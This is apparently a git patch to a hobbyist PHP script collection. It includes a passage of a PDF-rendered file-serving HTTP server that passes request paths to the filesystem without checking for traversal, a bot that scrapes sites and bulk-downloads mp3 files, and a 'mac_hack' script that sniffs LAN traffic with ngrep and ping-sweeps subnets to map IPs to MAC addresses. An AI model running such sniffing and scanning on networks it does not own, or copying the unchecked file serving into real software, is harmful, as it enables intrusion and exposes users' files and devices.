0 0.498 rg (while)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (&&)Tj +( )Tj +(!@)Tj +0 0 0.498 rg (feof)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +(&&)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($loop)Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +({)Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (fgets)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +/F1 11 Tf 0 0.498 0 rg (//echo\($line\);)Tj +T* +( )Tj +/F2 11 Tf 0 0 0.498 rg (if)Tj +0 0 0 rg (\()Tj +0 0 0.498 rg (eregi)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg ("\(GET|POST\)")Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg (\)\))Tj +( )Tj +({)Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (trim)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +/F1 11 Tf 0 0.498 0 rg (//echo\($line\);)Tj +T* +( )Tj +0 0 0.498 rg ($line)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (explode)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg (" ")Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (])Tj +( )Tj +(=)Tj +( )Tj +0 0 0.498 rg (trim)Tj +0 0 0 rg (\()Tj +0 0 0.498 rg (urldecode)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (]\)\);)Tj +T* +( )Tj +T* +( )Tj +T* +( )Tj +0 0 0.498 rg (if)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (])Tj +( )Tj +(==)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("/")Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +({)Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (])Tj +( )Tj +(=)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("./")Tj +/F2 11 Tf 0 0 0 rg (;)Tj +T* +( )Tj +(})Tj +( )Tj +0 0 0.498 rg (else)Tj +( )Tj +0 0 0 rg ({)Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (])Tj +( )Tj +(=)Tj +( )Tj +0 0 0.498 rg (substr)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (],)Tj +( )Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +(})Tj +T* +( )Tj +T* +( )Tj +T* +( )Tj +0 0 0.498 rg (if)Tj +0 0 0 rg (\()Tj +0 0 0.498 rg (is_file)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (]\)\))Tj +( )Tj +({)Tj +( )Tj +/F1 11 Tf 0 0.498 0 rg (//200 OK FILE)Tj +T* +( )Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($okheader)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +0 0 0.498 rg (echo)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg ("200 ")Tj +/F2 11 Tf 0 0 0 rg (.)Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (]\);)Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (fopen)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (],)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("rb")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +0 0 0.498 rg (while)Tj +0 0 0 rg (\()Tj +( )Tj +0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +0 0 0.498 rg (fgets)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (\)\))Tj +( )Tj +(\);)Tj +T* +/F1 11 Tf 0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fclose)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +0 0 0.498 rg (echo)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg (" SENT!\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +(})Tj +T* +( )Tj +T* +( )Tj +0 0 0.498 rg (elseif)Tj +0 0 0 rg (\()Tj +0 0 0.498 rg (is_dir)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (]\)\))Tj +( )Tj +({)Tj +( )Tj +/F1 11 Tf 0 0.498 0 rg (//200 OK DIR)Tj +T* +( )Tj +/F2 11 Tf 0 0 0.498 rg (if)Tj +0 0 0 rg (\()Tj +0 0 0.498 rg (substr)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (],)Tj +( )Tj +0 0 0.498 rg (strlen)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (]\)-)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +(!=)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("/")Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +({)Tj +( )Tj +/F1 11 Tf 0 0.498 0 rg (//301 MOV DIR)Tj +T* +( )Tj +0 0 0.498 rg ($header)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +(\()Tj +/F1 11 Tf 0 0 1 rg ("/")Tj +/F2 11 Tf 0 0 0 rg (.)Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (].)Tj +/F1 11 Tf 0 0 1 rg ("/")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +0 0 0.498 rg (echo)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg ("301 ")Tj +/F2 11 Tf 0 0 0 rg (.)Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (].)Tj +/F1 11 Tf 0 0 1 rg (" -> )Tj +0 0 0.498 rg ($header)Tj +0 0 1 rg (\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($header)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (str_replace)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg ("%DIR%")Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($header)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($dirheader)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +/F1 11 Tf 0 0.498 0 rg (//$header = str_replace\("./", "./", $dirheader\);)Tj +T* +( )Tj +(//echo\($header\);)Tj +T* +( )Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($header)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +/F1 11 Tf 0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fclose)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +0 0 0.498 rg (break)Tj +0 0 0 rg (;)Tj +T* +( )Tj +(})Tj +T* +( )Tj +0 0 0.498 rg (echo)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg ("200 [DIR] ")Tj +/F2 11 Tf 0 0 0 rg (.)Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (].)Tj +/F1 11 Tf 0 0 1 rg ("\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +/F1 11 Tf 0 0 0.200 rg ( send_dir_listing)Tj +/F2 11 Tf 0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (]\);)Tj +T* +( )Tj +(})Tj +T* +( )Tj +T* +( )Tj +0 0 0.498 rg (else)Tj +( )Tj +0 0 0 rg ({)Tj +( )Tj +/F1 11 Tf 0 0.498 0 rg (//404 NOT FOUND)Tj +T* +( )Tj +/F2 11 Tf 0 0 0.498 rg (echo)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg ("404 ")Tj +/F2 11 Tf 0 0 0 rg (.)Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (].)Tj +/F1 11 Tf 0 0 1 rg ("\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($badheader)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($err404)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +/F1 11 Tf 0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fclose)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +(})Tj +T* +( )Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($loop)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +/F1 11 Tf 0 0.498 0.498 rg (0)Tj +/F2 11 Tf 0 0 0 rg (;)Tj +ET +endstream +endobj +8 0 obj +<> +stream +BT 1 0 0 1 72 762 Tm +/F2 11 Tf 0 0 0 rg ( )Tj +(})Tj +0 -13.2 TD +( )Tj +(})Tj +T* +/F1 11 Tf 0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fclose)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +(})Tj +T* +T* +0 0 1 rg (?>)Tj +T* +ET +endstream +endobj +9 0 obj +<> >> +endobj +10 0 obj +<> +endobj +11 0 obj +<> +endobj +12 0 obj +<> +endobj +13 0 obj +<> +endobj +14 0 obj +<> +endobj +15 0 obj +<> +endobj +xref +0 16 +0000000000 65535 f +0000000015 00000 n +0000000111 00000 n +0000000212 00000 n +0000000316 00000 n +0000000424 00000 n +0000004520 00000 n +0000012303 00000 n +0000020898 00000 n +0000021205 00000 n +0000021291 00000 n +0000021394 00000 n +0000021497 00000 n +0000021600 00000 n +0000021703 00000 n +0000021780 00000 n +trailer +<< /Size 16 /Root 15 0 R +>> +startxref +21828 +%%EOF diff --git a/php/http_server.php b/php/hhttpd/http_server.phps similarity index 99% rename from php/http_server.php rename to php/hhttpd/http_server.phps index 45f2726..92546f8 100755 --- a/php/http_server.php +++ b/php/hhttpd/http_server.phps @@ -1,4 +1,4 @@ -#!/usr/bin/php +#!usr/bin/php ", $line) && ereg(" class=ri", $line)) { + $line = explode("
$line
\n"); //XHTML Output + $results[$i] = $line; + $i++; + } + + } + } + fclose($fp); + } + echo("\nTotal: $i\n"); //Sumary Output + return $results; +} + +// +function download_url_array($results, $download_dir) { + //$download_dir = $GLOBALS["download_dir"]; + $fails = 0; $done = 0; + echo("\nDownloading to $download_dir ...\n"); + if(!is_dir($download_dir)) { + echo("Creating directory: $download_dir\n\n"); + mkdir($download_dir); + } else { echo("\n"); } + foreach($results as $id => $url) { + $file = url2filename($url); + echo("Downloading $file (#$id)... "); + $file = "$download_dir\\$file"; + if(!is_file($file) && @copy($url, $file)) { + echo("Done.\n"); + $done++; + } else { + if(is_file($file)) { echo("File already exists "); } + echo("Failed!\n"); + $fails++; + } + } + $totaldls = ($fails+$done); + echo("\n$done/$totaldls files successfully downloaded to $download_dir ($fails failed)\n"); +} + +///CODE////////////////////////////////////////////////////////////////////////////////////// +$results = jyxo_bot("interpret titul","mm","(.mp3|.ogg)"); //Text2Search +//print_r($results); //Array Output +//var_dump($results); //Detail debug output +//download_url_array($results, "X:\\JyxoBot"); //Automatic Download + +?> diff --git a/php/mac_hack.phps b/php/mac_hack.phps new file mode 100755 index 0000000..0151d6f --- /dev/null +++ b/php/mac_hack.phps @@ -0,0 +1,137 @@ + .*:.*", $line)) { + $line = explode(" ", $line); + $line = explode(":", $line[1]); + $ip = trim($line[0]); + + if(!in_array($ip, $ips)) { + $ips[$i] = $ip; + $i++; + + //You have $ip, you can do anything, that you want: + echo($ip." = ".get_mac($ip)."\n"); //Get it's MAC and print it + + } + } + } +} + +//Quick active scan for MACs and IPS +function quick_ipmac_scan($subnet = "192.168.1") { + for($i=1;$i<256;$i++) { + //Mega threaded ( This will open 255 processes ;)) + $fp[$i] = popen($GLOBALS["ping"]." ".$subnet.".".$i, "r"); + } + for($i=1;$i<256;$i++) { + while( $fp[$i] && !feof($fp[$i]) ) { fgets($fp[$i]); } + } + system($GLOBALS["arp"]); +} + +///Examples of usage:///////////////////////////////////////////////////////// +//You have to modify this script, to get that output format, that you want... + + +//Sniff for IPs: +echo("Sniffing for IP/MAC addresses\nC-c for stop\n\n"); +//This will sniff on 3rd device ("ngrep -L" for device listing) +//And only IPs that starts with "192.168" will be accepted +sniff_ips(3, "192.168"); //ngrep -d 3 | grep 192.168.*:.* -> .*:.* + +/* +Example output: +Sniffing for IP/MAC addresses +C-c for stop + +192.168.15.82 = This is your adapter, to find MAC try "ipconfig /all" +192.168.15.65 = 00-00-24-c1-e7-e8 +192.168.15.84 = 00-04-e2-cb-bc-6a +192.168.15.77 = Not found. Couldn't broadcast to IP. +192.168.15.80 = Not found. Couldn't broadcast to IP. +*/ + +//-------------------------------------------------------------------------- + + +//Quick active scan for MACs/IPs: +echo("Scanning for IP/MAC addresses\nC-c for stop\n"); +quick_ipmac_scan("192.168.1"); + +/* +Example output: +Scanning for IP/MAC addresses +C-c for stop + +Rozhrani: 192.168.15.82 --- 0x40003 + internetova  adresa fyzicka  adresa typ + 192.168.15.65 00-00-24-c1-e7-e8 dynamicka + 192.168.15.80 00-16-ce-0a-0e-a1 dynamicka +*/ + +//-------------------------------------------------------------------------- + +//Get MAC: +$ip = "192.168.15.82"; //This is your adapter, to find MAC try "ipconfig /all" +$ip = "404.168.15.82"; //Not found. Couldn't broadcast to IP. +$ip = "192.168.15.65"; +echo("IP: $ip\nMAC: ".get_mac($ip)."\n"); + +/* +Example output: +IP: 192.168.15.65 +MAC: 00-00-24-c1-e7-e8 +*/ + +?> diff --git a/php/speedtest-defunct.php b/php/speedtest-defunct.php new file mode 100755 index 0000000..b7734fc --- /dev/null +++ b/php/speedtest-defunct.php @@ -0,0 +1,10 @@ +

SpeedTest

+ \ No newline at end of file -- 2.30.2